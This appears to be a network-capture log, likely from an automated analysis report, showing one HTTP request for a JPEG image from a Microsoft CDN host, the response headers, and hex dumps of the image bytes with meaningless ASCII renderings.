User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 
Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2021-11-25 16:28:56 UTC 2500 IN HTTP/1.1 200 OK
Last-Modified: Mon, 22 Nov 2021 05:52:18 GMT
Access-Control-Allow-Origin: *
X-Datacenter: northeu
X-ActivityId: 80303c07-6461-4f03-a317-34b8cd5f3e60
Timing-Allow-Origin: *
X-Frame-Options: deny
X-ResizerVersion: 1.0
Content-Type: image/jpeg
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Fiec?ver=29a1
X-Source-Length: 446678
Content-Length: 446678
Cache-Control: public, max-age=134559
Expires: Sat, 27 Nov 2021 05:51:35 GMT
Date: Thu, 25 Nov 2021 16:28:56 GMT
Connection: close

2021-11-25 16:28:56 UTC 2500 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 
03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 
15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 
14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 
14 14 14 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 
00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 
00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC8"}!1AQa"q2

2021-11-25 16:28:56 UTC 2516 IN Data Raw: c7 a5 1b 7f c6 bb 2e 7a f7 18 33 ef f5 a0 a8 e3 fc 8a 77 56 c9 e2 83 c7 4a a1 5c 66 31 cd 2a f2 dc 7e 14 e2 b8 
e7 f3 a6 e0 05 a0 7b 8a bf e7 8a 5f eb 40 f5 f4 a7 7f 0e 7a fa 8a 04 26 07 19 eb 4b b7 2c 31 ba 82 06 de 9c d3 b0 7b f5 26 
81 0d 61 df da 97 04 75 ff 00 1a 55 5f 5e 9f de a5 23 b7 bd 4d c4 34 0c e3 8a 5c 76 f7 ed 4a 3d 0f 4a 36 e7 3e 87 f9 53 0b 
89 8f 9b f3 a3 1d 87 26 97 1d ba 52 81 ff 00 d7 a6 48 c3 cf 1d 7b 71 4a 07 18 ed ef 4a 3d fa 0a 5d bd bb 50 36 c6 ed cf 34 
a3 d4 e3 de 9d 8c 2e 7b 0a 4c 03 e9 40 86 f4 e0 d0 46 39 34 a0 11 8a 5f af cb 4c 04 00 9e bc ff 00 b3 46 07 6e b4 a7 38 
c7 a8 ef 46 3e 5f cb 19 a4 31 bf 7b 8f cc d2 f3 4a 30 31 ed 9a 08 c3 70 68 01 a0 67 e8 28 3e 82 95 85 07 d0 b1 a0 77 1a 
bc b7 39 18 ef 4a 57 1f 51 4b b7 e5 f4 26 90 
Data Ascii: .z3wVJ\f1*~{_@z&K,1{&auU_^#M4\vJ=J6>S&RH{qJJ=]P64.{L@F94_LFn8F>_1{J01phg(>w9JWQK&

2021-11-25 16:28:56 UTC 2532 IN Data Raw: 84 e1 b9 19 a9 b8 00 5c 70 7f 5a b7 67 6c 92 37 ce fb 40 c1 a8 1d 90 bf 03 03 1d 2b 5b 4d b5 63 1e f0 07 27 1c 
f3 9c 77 ac 6a 4b 96 37 36 a3 07 52 69 5a e6 cf 87 e3 48 6e 04 89 93 bc e7 1b 4e 78 f5 27 de bd 73 c3 56 b1 4e 82 5e 8c 
c3 1c f1 d7 d2 bc cf c3 1a 24 93 df 61 f1 9e 0e 06 78 1e e4 f6 af 50 8e db ec 2b 10 43 95 50 06 07 af d6 be 3b 32 9a 94 b9 
53 d4 fd 4b 23 a5 28 53 e6 94 74 3b 0b 7d 2b 74 69 81 f2 e3 1c 55 0d 47 47 8e 25 c9 1b db de 96 d7 c5 0c 91 88 cc 65 07 
03 81 57 5e fd 6e a3 c9 1c 91 fc eb e4 bf 7b 09 6a 7d cd e9 4e 36 47 1d 77 a7 b1 93 7a c4 10 62 a0 8e 07 87 a0 cb 7a d7 
45 38 f3 1f 07 20 75 c5 51 9a 23 c8 1c 7f 5a f4 63 55 b5 66 79 b2 a4 93 ba 28 3e a0 23 6c 4b 84 15 42 fa 63 75 cc 58 03 
b6 68 be b4 dc e5 9c 9f cf b5 54 8a 64 87 8c 7d 72 
Data Ascii: \pZgl7@+[Mc'wjK76RiZHnNx'sVN^$axP+CP;2SK#(St;}+tiUGG%eW^n{j}N6GwzbzE8 uQ#ZcUfy(>#lKBcuXh
Td}r
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2021-11-25 16:28:56 UTC 2535 IN Data Raw: f2 cd 75 46 56 3c ea 90 e6 d0 c8 18 5f 98 f2 01 e8 47 e9 8a af 23 e2 32 c5 3b 70 71 c9 e6 b5 25 b0 31 b6 ec 92
40 3d 2a a3 5a 06 c0 64 ee 09 e7 f9 e3 f9 57 54 64 9e a7 9f 3a 73 5a 18 ed 11 7e 54 0c 13 d0 f6 cf e1 d6 aa b5 a3 c0 cf 8c 
65 8f 20 64 f1 df ff 00 d7 da b7 a4 b3 31 fc ca 31 93 81 83 d8 d4 12 d9 6f 52 48 c9 6f 4e bc fb 8a ea 8d 53 cc a9 86 6f d4 
e7 7e cb 97 46 c6 4e 01 00 0f 5f 4f 4f 6a 0d ac 9b b6 7d c2 a0 92 76 8c 7f 5c 71 5b 10 da 98 98 f3 f2 82 76 f1 81 f8 0e dd 
69 e2 d5 64 c1 07 63 0c 9c 81 d0 f7 ce 6b a3 db 1c 1f 53 ba 30 62 b4 90 be e6 00 e7 92 c0 1e 73 4a b0 48 8d 95 05 e4 cf 
d7 8e bc 7d 7d eb 6d f4 f6 91 c0 da 1c 11 e8 4d 32 4d 39 86 49 42 08 fd 47 a0 a7 ed 97 72 3e a7 28 ec 62 fd 9c 79 d2 12 
70 18 f4 18 00 0f c4 f6 34 d6 b2 ce f6 71 f2 
Data Ascii: uFV<_G#2;pq%1@=*ZdWTd:sZ~Te d11oRHoNSo~FN_OOj}v\q[vidckS0bsJH}}mM2M9IBGr>(byp4q

2021-11-25 16:28:56 UTC 2551 IN Data Raw: 85 98 8f c0 1e f8 a3 98 39 6e 44 13 e5 3e b4 d5 88 95 c6 33 d3 3f 9d 58 31 74 cf 5a b5 0d ab 6e 03 b8 fa d4 b9 
a4 8b 54 dc 8a 82 d8 b6 30 0e 7a 54 d1 58 9d a7 24 7a f5 e9 57 ee 6d cd ba 02 73 96 aa 7b 80 6f c6 b1 e7 72 5a 1b 3a 6a 
2f 52 48 c1 8f 07 39 c7 6a b0 65 f9 06 47 07 ad 53 f3 1c 71 eb 4d de db 40 04 e3 d0 d4 f2 dc b5 24 91 2c b8 ea 3a 54 66 
42 d9 0a 71 db 6f b5 44 ff 00 7f 8c f0 7f 87 ff 00 af 46 e2 71 d7 a5 57 29 9f 30 d1 bb 71 ec 3a 0c 9e b4 11 85 e5 c6 4f a5 49
d5 7d 07 d6 99 2a ed e0 55 a2 08 99 8a 2f 4e 07 4a 6f 98 77 6e 39 3d 68 c6 79 c5 34 28 0b 8f ca b4 d0 c1 b1 0b 65 79 24 
f6 eb 51 0c ee e7 af f4 a9 0a b6 de 8c 33 eb 49 b7 3c 63 1f 8f 35 48 cd 91 6d fe 10 07 14 22 1d c0 0e 0f b7 5a 94 ae cf 71 
fc c5 29 42 dc 81 f4 34 ee 4d 8a e1 41 6c 11 
Data Ascii: 9nD>3?X1tZnT0zTX$zWms{orZ:j/RH9jeGSqM@$,:TfBqoDFqW)0q:OI}*U/NJown9=hy4(ey$Q3I<c5Hm"Zq)B4
MAl

2021-11-25 16:28:56 UTC 2567 IN Data Raw: 74 a5 76 77 c6 36 13 cb 1e 94 53 e8 ac cb 29 18 f1 d6 98 61 07 a8 ab 45 7b 53 76 57 42 91 87 29 42 4b 5f 4a 
a9 2d 99 3c 0a d7 29 dc f4 a6 15 03 9a da 35 1a 32 95 34 cc 5f b2 b0 e4 f1 57 2d a3 0a a0 13 9c 55 89 23 dd d2 98 21 da 
b9 ad 1c f9 96 a6 6a 1c ac 90 3e da 5d ec dd 29 11 3b d4 c1 33 58 b6 6a ae 46 32 7a d4 8a a6 9e 17 14 e0 3d 2a 5c 8d 
12 10 0c 7d 69 c0 d2 81 ba 97 eb 59 dc a1 bf c3 4b 8e f4 b4 ab 48 04 a2 97 6d 2f 4a 06 37 ad 2e da 5a 28 0b 0d c6 68 db 
ed 4e a3 18 a0 2c 30 8e d4 98 c7 34 e6 eb 46 3b d0 21 84 7a d2 6d c7 4a 93 69 a3 18 a7 70 23 db eb 46 d1 de a4 a4 c6 
69 dc 06 6d 03 8a 5d be d4 ed a2 96 90 0d db 4b b4 52 d1 ed 48 63 76 d2 f4 a5 a2 81 05 21 e6 8e 3a 52 7d de 68 00 fa 52 
50 cc 29 86 55 1d 6a 90 12 2f 5a 37 7a d5 53 72 ab de a3 7b f5 
Data Ascii: tvw6S)aE{SvWB)BK_J-<)524_W-U#!j>]);3XjF2z=*\}iYKHm/J7.Z(hN,04F;!zmJip#Fim]KRHcv!:R}hRP)Uj/Z7zSr{

2021-11-25 16:28:56 UTC 2574 IN Data Raw: de b3 ef 2e cb f4 7e 3b d5 28 36 4b 92 46 ab 5e 44 ce 54 1c 91 52 ef 03 83 8c 57 3d 1d c2 c7 ca 9c 55 f5 bf 8b 
60 c9 aa 71 68 4a 57 26 b8 b6 84 f2 05 67 4d 08 46 e0 55 ff 00 38 48 b8 04 64 d4 32 8c ae 2a a2 da 13 8a 29 46 c8 78 6e 
0d 3f 62 95 c8 3c 53 4a 2f 39 aa c2 46 b7 93 20 e5 2b 5d f6 32 f5 2d 6c a4 29 de 91 27 59 3a 52 34 81 7a d2 d4 ab 21 a5 
76 d4 6e bd bb d3 67 bb c3 71 55 fe d2 77 72 7a d6 89 33 3d 09 1b 27 e9 51 c9 9e 83 b5 1b f7 70 5a 99 fc 5c 1e b5 68 90 
dd 9e b4 85 b1 d2 82 54 71 de 83 83 d2 a8 42 72 79 a2 9e 89 9a 29 5c 2c 5c f3 31 d6 9b e7 8e 84 f3 55 8e 4e 79 34 9d 3b 
fd 6a f9 49 e6 27 91 f3 9e 6a 06 98 af 7c d3 19 c9 c8 15 16 0f 43 d6 a9 44 87 22 6f 3b 72 e4 75 a8 da 6c 71 4c 0c 15 70 69
01 ef 8a bb 13 72 58 d9 99 aa 7e 51 4e 39 cf 6a 8e 
Data Ascii: .~;(6KF^DTRW=U`qhJW&gMFU8Hd2*)Fxn?b<SJ/9F +]2-l)'Y:R4z!vngqUwrz3='QpZ\hTqBry)\,\1UNy4;jI'j|CD"o;ru
lqLpirX~QN9j

2021-11-25 16:28:56 UTC 2590 IN Data Raw: c8 db d0 e5 79 6e 47 98 0a 46 01 20 a8 dc 09 f4 ab 3a be ad 73 6f fb 8b 78 80 0a 03 12 a0 92 7b f2 47 e5 59 8f 
7d 2e 83 6b 14 65 d6 06 12 2e 58 93 c8 cf 38 03 d6 a8 f8 9b c4 17 5a 7d e4 32 5a 2c 8a 40 38 6d 99 52 3b fd 6b 9a 34 dd 
4a 9a 2d 0f 4a 58 88 d0 a0 d4 a4 d3 56 bf 7d 4d 1b 36 96 56 49 a7 42 54 9e 01 fe 10 7b 91 f5 e9 56 1a e6 38 1e 78 e5 b8 
c2 c6 77 90 57 1c 1e f8 cf ff 00 5a b0 ac b4 ed 42 fe c2 74 95 82 1b 8f 9d 49 62 a0 77 f5 e0 56 56 9f 6b 71 a1 de 1b ab f4 
6d 92 93 0e 18 92 4e 79 19 3e 86 b6 f6 71 93 7e f6 ab a1 c9 f5 9a 90 e4 bc 1d 9e ed f4 f5 fc 0e f6 26 b5 9a 11 73 29 32 43 
14 61 bd 32 31 c0 3d eb 33 52 5f ed 05 8a ea d3 11 aa b0 2d 1b 02 4b 2e 3b 0e 95 87 a6 bc 9a 85 c5 fd a9 9c 85 66 25 7c 
a6 f9 55 47 6c f1 cf 4a ab a8 ea 73 d8 c9 04 33 
Data Ascii: ynGF :sox{GY}.ke.X8Z}2Z,@8mR;k4J-JXV}M6VIBT{V8xwWZBtIbwVVkqmNy>q~&s)2Ca21=3R_-K.;f%|UGlJs3

2021-11-25 16:28:56 UTC 2606 IN Data Raw: c7 1e f5 d6 69 fe 08 d6 2f 23 47 77 86 04 3c fc cc 49 3f 80 15 a5 a2 78 eb c3 97 2d 10 b7 b7 8c 87 38 4f 2a 2c 
9c 0e e4 0e 46 6b ae 8b c4 d6 0b c4 37 36 e0 e3 38 0c 06 05 79 35 b3 09 ed 08 5b d4 f5 e8 e0 a3 bc e7 7f 43 93 8f c0 17 
a3 99 2f 21 03 fd 95 26 a6 4f 02 63 87 bd 1f 84 78 fc ab aa 93 59 91 97 23 95 38 c1 1d f3 55 64 d4 d5 b9 28 c4 9e e2 b9 
7e b3 88 97 f4 8d dc 30 d0 d1 bf cc c4 1e 0b 81 57 e6 b9 90 9f 60 2b 03 52 b0 6b 0b 83 18 3b c0 e8 4d 76 57 17 b1 cf f2 
b2 49 8a c9 bb d2 ed 66 6c a9 91 33 ea 73 5d 34 6a d4 bd ea 1c d5 67 4b 6a 6c e5 cb 3f 50 29 be 63 8e a2 ba 06 d0 2d 
db 8f 3e 41 ef 8a 89 bc 36 4f dc b9 1f 42 08 ae d5 5a 99 8d df 73 00 5c 37 70 3f 0a 6b 48 36 e7 1f 85 6b 1f 0d cb bb fd 6c 
47 dc d5 3b bd 1e 58 32 0b 83 dc 6d 39 ad e3 52 9b 7a 
Data Ascii: i/#Gw<I?x-8O*,Fk768y5[C/!&OcxY#8Ud(~0W`+Rk;MvWIfl3s]4jgKjl?P)c->A6OBZs\7p?kH6klG;X2m9Rz

2021-11-25 16:28:56 UTC 2614 IN Data Raw: 3f b7 45 1a e1 88 fc e9 c6 12 31 9d 78 f4 63 a3 d3 ed d3 92 0e 07 a9 ac cd 63 54 82 cf e5 47 8c 1f 73 50 ea 97 
36 97 68 e8 6f 9a df 07 9d b2 01 5c bd c7 86 ac 2f 9c e7 57 2e 7d c8 cf e3 5e 95 0a 50 bd ea c9 fd cc f0 b1 55 b1 13 5c b4 
60 9f cd 19 7e 20 f1 13 4a e5 15 d5 d4 9c 70 39 fa f2 2b 96 ba be 51 90 13 0c 47 3c ff 00 4c 57 55 3f c3 99 26 62 b6 f7 76 
f8 23 86 6c f3 f9 03 59 b2 fc 3b bd b5 60 54 c6 cc dd 19 7d 01 f5 38 eb da be 92 8d 6c 34 15 a3 23 e4 ea e1 f1 bc d7 94 1b 
fc 4e 75 a4 95 90 60 36 f3 d0 0c 1c d2 f9 6f e5 80 43 1d c7 ae 39 fa 56 e3 e8 57 56 f9 66 d3 cf 1d cb 06 5c fd 46 3d 3a 54 
77 57 57 76 7b 09 d3 d9 08 1c 01 cf 1d 07 19 c8 06 ba d5 65 2f 83 f4 33 94 25 4d 7b fa 7c 9f f9 19 7f d9 92 ce bc 09 1b 76 
3a 0f 6e 94 2e 8f 74 8d 8f b2 c9 c6 01 
Data Ascii: ?E1xccTGsP6ho\/W.}^PU\`~ Jp9+QG<LWU?&bv#lY;`T}8l4#Nu`6oC9VWVf\F=:TwWWv{e/3%M{|v:n.t

2021-11-25 16:28:56 UTC 2630 IN Data Raw: 58 4b ee 66 22 42 47 ee c0 01 01 c9 21 b9 fa 53 d5 36 31 07 9e e7 24 77 ad a5 f0 be a2 9d 2d 9b 27 38 6c 7f f5
bd 2a 2b 8d 22 ed 72 04 04 03 c1 c8 e7 81 ce 3f 1a 5e d6 12 da 4b ef 35 51 69 5d c5 af 91 9e 92 8d e1 3c b2 48 04 9c f4 
e4 71 cd 3c 6d 2a 0b a6 17 8c 77 23 f3 a9 3e c1 32 29 cc 7c 6d 23 38 f4 fe 95 13 2b ee 2c 60 df 9c f5 e9 ff 00 d6 a7 a3 d8 
15 65 d5 84 c0 6e 00 03 22 af 42 4e 3f 4a 8d fc b9 58 28 3d b2 43 02 7f 33 da 98 d2 32 26 1d 33 c1 c1 1f 4a ab 24 ea 92 
e0 b1 20 fc cc 07 b7 f8 8a d1 45 98 4b 13 05 b9 6d d3 7a e4 9e 3a 8d bc 75 3e 82 a1 56 05 c0 05 40 1d 70 0e 3f 33 55 e6 
bc 92 1c ac 27 e6 3c 61 bb 63 9e 47 7f eb 55 ee ee 6e 12 3d f1 9e 18 02 ac 7d 7a 67 eb cf 03 f9 d6 b1 83 30 9e 2a 11 d7 
b1 a4 55 36 09 49 3b 49 39 e7 f4 e7 fc 2a b3 2a 71 
Data Ascii: XKf"BG!S61$w-'8l*+"r?^K5Qi]<Hq<m*w#>2)|m#8+,`en"BN?JX(=C32&3J$ EKmz:u>V@p?3U'<acGUn=}zg0
*U6I;I9**q

2021-11-25 16:28:56 UTC 2646 IN Data Raw: de 5a 69 d7 91 91 26 2e d7 39 f9 a3 de b9 ed d7 d2 b8 af 14 b4 fa 45 84 f1 8b 7d 32 34 94 ed 8c 2d bb 29 65 f4 
39 1b 73 f5 af 5a 8e 61 29 3b 34 71 cb 0c e0 af 73 c1 a1 f3 cb e4 c8 76 9e b8 52 73 5b 16 b1 3d d4 69 19 9e 51 8c 91 f2 
80 a0 fd 3a d6 80 87 cc f3 22 fe cc 22 43 f7 8c 7c ed 1d b1 80 40 fc ea d2 68 77 8b 1e f8 74 fb ef 21 40 51 22 c0 48 dc 7a 
74 cd 7a 33 ac bd 07 42 9a 5e f3 21 b4 96 fe c1 07 93 7f 2c 67 b0 04 8c 0f c2 bd 3f 40 f1 a6 9e 9a 3c 76 f7 b7 17 5b c3 ee 
ca c5 e6 83 ff 00 02 39 c5 70 9a 3f 81 b5 5d 6a e5 d5 77 5b 91 8d cb 71 14 83 f2 1b 4f f3 af 40 8b e1 04 a2 c5 1c c9 6f 05 
d1 03 f7 6a 1c a1 f5 ce 48 20 d7 95 88 9d 27 65 27 f7 1e c5 38 dd 5d 2d 0d c8 f5 3d 17 56 b5 36 c3 55 91 e5 3b 82 6d 89 
83 15 3e c2 b1 f5 2d 0e 2d 32 d8 b4 6f 31 2c 
Data Ascii: Zi&.9E}24-)e9sZa);4qsvRs[=iQ:""C|@hwt!@Q"Hztz3B^!,g?@<v[9p?]jw[qO@ojH 'e'8]-=V6U;m>--2o1,

2021-11-25 16:28:56 UTC 2654 IN Data Raw: 6d f2 8f 2f 81 8c 10 47 1f 5a ec af 74 99 ad 8e 24 8f e7 1c 86 23 fc fd 2b 2a ea cc 00 59 c6 18 e0 fb f3 de bd 68 
d6 ba d1 9e 62 ad 28 3e 59 ab 34 72 13 5b 34 6d 96 19 cf 7e df 87 6a 89 9b e5 e4 e3 03 d7 9a e8 27 8b 6b e0 f2 0f 4e f5 
97 75 69 e5 a9 90 01 83 9e bd 6b a2 35 bb 9e 95 3a ca 5b 99 66 35 0c 70 38 f5 fa 7d 68 64 cf 6c 76 c5 4a d0 84 6c e7 eb 
51 b3 75 1f 79 bb e3 d6 b7 8d 44 ce d4 ef b1 13 81 ce 70 7b 63 1c 54 7b 4a e4 01 8f 7c 63 f4 a7 f9 85 bf 88 00 32 70 07 f5 
a8 8c a3 a0 1b 9b bf 39 c7 d3 b5 6a 99 b4 53 11 b3 bb 9f 6f c6 a3 6d dd b1 d2 95 d9 d9 b0 13 19 ec 6a 17 53 8c b9 1c fe 
3f fd 6a ab 9b 24 3b 76 14 e0 fc de c7 f0 ff 00 22 a3 2c 46 3a 63 db bd 23 10 ac 47 f3 e2 9b bf a0 5e bd 3f 1a 66 b6 1d c9 
ea 40 1f e7 14 1e 3a 75 14 c1 9d d9 c7 23 a0 
Data Ascii: m/GZt$#+*Yhb(>Y4r[4m~j'kNuik5:[f5p8}hdlvJlQuyDp{cT{J|c2p9jSomjS?j$;v",F:c#G^?f@:u#

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:28:56 UTC 2670 IN Data Raw: 5e 83 bd 13 5b a4 8a 85 c6 18 54 f2 da 89 13 0c 48 20 70 47 51 f4 aa 72 d8 b1 44 43 73 2f 50 09 3c 93 f9 d0 98
9c 49 64 b4 49 e3 45 11 f4 f9 b2 a3 07 8f 7a 85 e0 94 ba 4b 2c f2 3c 7d 38 20 63 ea 3a 9a b3 38 65 87 2b f7 81 c0 53 c6 4f 
e1 4f fb 12 6a 71 88 ae 53 76 c2 a7 82 7a 8f 42 30 69 a6 66 d0 d1 65 24 c4 4a 92 49 b5 4e 7e 53 8c 8f 42 3f ad 4e 2f 23 
b7 cb 0c 6e 71 d3 a6 71 f5 a9 6e 36 59 c2 70 70 aa 31 bb 27 a7 b9 eb 59 37 fa a3 aa f9 20 6f b8 6e 56 32 37 02 3b 16 3d 
bf 9d 0b 50 b3 e8 55 bc f1 5d cc b2 3d ac 45 6d a7 5c 30 21 b7 10 b9 fc aa bc 16 f7 0a e6 e0 c8 b2 2b e7 38 e0 1c ff 00 2a 
a7 67 a7 de 2d eb cf 32 72 c4 1e 14 11 c7 6f c6 ba 08 9d 23 57 06 31 19 3f 36 01 cf e7 eb 4e 72 51 d1 1a 53 83 b5 d9 12 
bc 91 db 85 9e 35 2d bb 6f 1c 75 e8 6a 25 cc 6f 
Data Ascii: ^[TH pGQrDCs/P<IdIEzK,<}8 c:8e+SOOjqSvzB0ife$JIN~SB?N/#nqqn6Ypp1'Y7 onV27;=PU]=Em\0!+8*g-
2ro#W1?6NrQS5-ouj%o

2021-11-25 16:28:56 UTC 2686 IN Data Raw: ef 44 16 a8 c7 cf 8c 29 42 32 a4 81 b7 b6 33 db 8a 4b 07 51 ee 8e 88 e6 94 1a 4f 99 7e 47 d1 47 c6 da 3c b7 
3e 4c 57 2a f2 71 b7 b0 62 4e 30 b9 e4 e0 f5 aa 72 7c 4c d0 ad b5 0f b2 03 34 b3 1c ef 31 c4 70 08 fa e3 f4 15 e4 76 df 1b 
6d 7c 3b a5 1b 6b 14 8b 50 92 30 55 af 1b 1b 95 06 31 9e 39 c6 4e 33 d6 b9 3d 73 e3 a4 9e 20 8f 12 c8 64 90 b1 78 cc 31 
00 c0 0e ab c6 48 1c 67 35 51 c0 56 6f e1 33 79 be 1a 3a ba aa ff 00 2f f3 3e 9f d3 f5 2d 37 5a b1 92 e6 c8 79 f0 c9 90 cc 
bc 12 45 57 37 36 fa 2a 9b 84 89 82 38 3e 6e e0 58 00 3d f3 80 72 6b c0 21 f8 e1 a6 da da 87 b0 b4 b5 46 f2 57 ed 72 aa 
36 f6 63 f2 92 c1 70 17 27 b8 c5 5a 87 e3 24 29 a6 bc 36 4d 1c 13 c4 77 47 21 9b 39 5e ea c1 b8 24 e7 9e 01 e2 b3 96 02 
b2 de 26 91 ce 30 d2 6a d3 5f 79 ee 96 9e 27 b7 b8 
Data Ascii: D)B23KQO~GG<>LW*qbN0r|L41pvm|;kP0U19N3=s dx1Hg5QVo3y:/>-7ZyEW76*8>nX=rk!FWr6cp'Z$)6MwG!9
^$&0j_y'

2021-11-25 16:28:56 UTC 2694 IN Data Raw: 27 c9 7a 20 53 c6 31 cf b8 eb 56 77 c7 e5 ec 89 d9 d3 03 76 46 32 47 bd 57 d5 e4 3f a9 42 2d 1d 15 be ad fb 
e8 64 94 0e 18 ec 23 92 7b 11 eb 5a 46 d6 ca e9 16 e5 b3 14 e4 81 c9 ce 7f 0f 4a e1 ad af 81 67 00 9e 71 b8 93 9c 0f 41 
4c bb bf 37 1b 14 c9 f2 a7 20 f6 ff 00 eb 55 7b 00 96 05 ca 5e eb b1 d7 df 5a d9 c7 2a 4b 85 21 86 d7 19 f9 4f d3 1e b5 5a 
29 12 0d 8e b2 0f 2c 36 d0 01 c8 07 3c 12 3d 05 72 97 1a b2 f4 f3 37 2f 40 64 24 8f cb a5 41 6d 73 14 7f bc 56 3b c6 70 49
c0 c1 f6 a7 f5 73 78 e0 a7 cb ef 36 74 fa c5 f3 c8 81 3c e3 b4 0e 46 31 83 f8 d4 11 6a 43 ec ec c6 60 4a 0d d1 ae 4e 73 ec 
71 fa 56 0b 6b 91 b7 df 96 3d bd 1b 77 e9 48 35 48 a7 90 6d 19 18 e0 93 8f e7 55 ec 0d e3 85 71 8f 2b 89 d1 a6 b8 d2 6c 
7b a8 d6 e2 62 b9 dd 24 60 e0 0a 60 d5 23 9a eb 
Data Ascii: 'z S1VwvF2GW?B-d#{ZFJgqAL7 U{^Z*K!OZ),6<=r7/@d$AmsV;pIsx6t<F1jC`JNsqVk=wH5HmUq+l{b$``#

2021-11-25 16:28:56 UTC 2710 IN Data Raw: 5c 5a cb 6d 7f a9 17 dc f7 f2 42 b8 51 81 b8 21 c1 20 1f 52 46 7a e3 a5 79 f2 c5 4b 0b 2f 68 a4 db 23 19 94 61 
71 b4 9e 1d 45 2b be cb 4f 43 89 d3 7e 02 ea 5a f9 b6 9e 6b 58 6d ed dc 07 71 2f cb 2c 40 f2 33 82 40 6a ec ed ff 00 67 
9b 02 c1 ae ef 76 20 1b 76 2f cd 90 3b e7 8e 6b d3 2d ee ee b5 34 02 de 03 e5 37 cd bd 79 1c fa 56 85 b6 89 7b 70 ff 00 
34 0d c1 ea d5 e5 d6 e2 0c 6c 9e 92 b7 a1 96 0f 80 b2 6a 51 49 d2 73 f5 6c f3 cb 4f 82 3e 13 b5 8d a2 71 73 70 84 63 3e 
69 5e f9 e3 18 c5 74 da 77 c3 bf 0e 69 ca 4d b6 9b 18 66 1d 58 92 4f d4 9e d5 d6 5a 78 4e ee e2 6d f2 c6 22 51 c2 e1 b2 
71 f4 03 15 d1 59 78 52 28 70 5b 2e 71 df 8a f2 e7 98 62 ab 7c 55 24 cf ad c3 70 ce 5b 86 77 a5 86 84 6d d7 95 5f ef dc e3 
6c 7c 3b 6f 13 39 8a d2 10 18 7f cf 31 c7 15 3a f8 
Data Ascii: \ZmBQ! RFzyK/h#aqE+OC~ZkXmq/,@3@jgv v/;k-47yV{p4ljQIslO>qspc>i^twiMfXOZxNm"QqYxR(p[.qb|U
$p[wm_l|;o91:

2021-11-25 16:28:56 UTC 2726 IN Data Raw: 9f 56 a7 a4 94 5f 9e cf c8 e9 a2 97 31 c5 1f 02 6a fe 24 f0 46 a9 3b d9 6b 80 40 f3 9b 33 2b 2b 38 6b 73 c3 ed 
56 63 b8 b1 23 70 3f 36 3d ab a3 f1 17 c0 df 0d f8 87 c0 da 26 a1 aa f8 a2 c2 5d 49 2d ed ee da da e4 08 c0 91 73 9f 9b 
96 42 cc 55 72 01 19 dc 30 7a 0e ab c6 fe 31 f1 07 c3 9b 07 8b 49 9c 9b 09 d9 98 dc 02 a0 a8 07 25 46 70 0f 5e 83 8c 64 
f1 5e 3f e3 bf 17 5b 78 96 4b 4d 66 cc dc dc c3 1c 0a 92 dc 2c 52 a8 99 0b 9c 12 06 03 81 97 3b 33 c0 e7 9e 0d 7c 95 2c 
7d 1b ca 5c 92 8b d7 7b 69 f7 74 6b 60 a9 35 6b 58 d8 f8 7d a6 4f 69 e3 31 77 aa ea 10 ea 76 d0 c6 de 7d 8d b4 8b 0f 98 
a5 80 12 6e ee 49 5d b8 e3 21 7b 77 c5 f8 f9 aa 6b 7f 10 7c 50 74 ed 1b c3 96 10 f8 69 24 51 e6 5b 6a 0e 93 06 50 33 1a 
b0 01 43 1c e4 67 20 56 1d 8f 83 6d 34 cf 13 e9 9a 25 
Data Ascii: V_1j$F;k@3++8ksVc#p?6=&]I-sBUr0z1I%Fp^d^?[xKMf,R;3|,}\{itk`5kX}Oi1wv}nI]!{wk|Pti$Q[jP3Cg Vm4%

2021-11-25 16:28:56 UTC 2733 IN Data Raw: e5 28 0d 13 63 ef 2a 91 80 dc ee 1c 57 45 6d e1 3d 3e 0f 0f c7 a3 35 a1 b8 d3 0c 02 df ec d7 0c d2 03 18 1d 18 
92 49 fc eb ca 6c be 13 f8 db c1 7a 85 dd bf 85 35 8b 13 a3 5c cf e7 18 af 14 ef 5c f5 07 86 04 01 c0 c1 1f 4a c3 7d 8f 5a 
1c d1 f7 b6 66 8f 85 fc 13 65 a0 6b 5e 64 1a 9e a7 3f 46 75 97 69 c8 e3 1d 39 fd 33 ee 2b d7 f4 df 19 69 92 5c fd 95 6e c7 
9e b8 53 13 11 b8 1f 71 eb 5c 3e 99 a6 dc 58 4c 8b ad eb 7a 7c 7a be 3e 48 ed 7e 50 f1 81 c6 55 8e 73 9f 4e 2b 97 b8 f1 
8f 82 f4 6f 13 bc 43 53 b0 7d 57 73 6e 9a 18 99 c7 99 fd d2 e0 1f 98 f4 e3 35 c7 38 36 ef 14 7a f8 7c 4c d4 79 64 7d 15 6b 
7a 25 51 8e 45 4b 7d 62 9a 8c 21 1d e4 00 10 c3 cb 62 a7 83 9e a2 b9 0f 0e eb 5f b9 43 21 03 77 58 cf 04 7f 85 75 b6 d7 
f1 c8 bf 2b 83 5a d3 96 96 67 a4 a4 a6 ae 88 
Data Ascii: (c*WEm=>5Ilz5\\J}Zfek^d?Fui93+i\nSq\>XLz|z>H~PUsN+oCS}Wsn586z|Lyd}kz%QEK}b!b_C!wXu+Zg

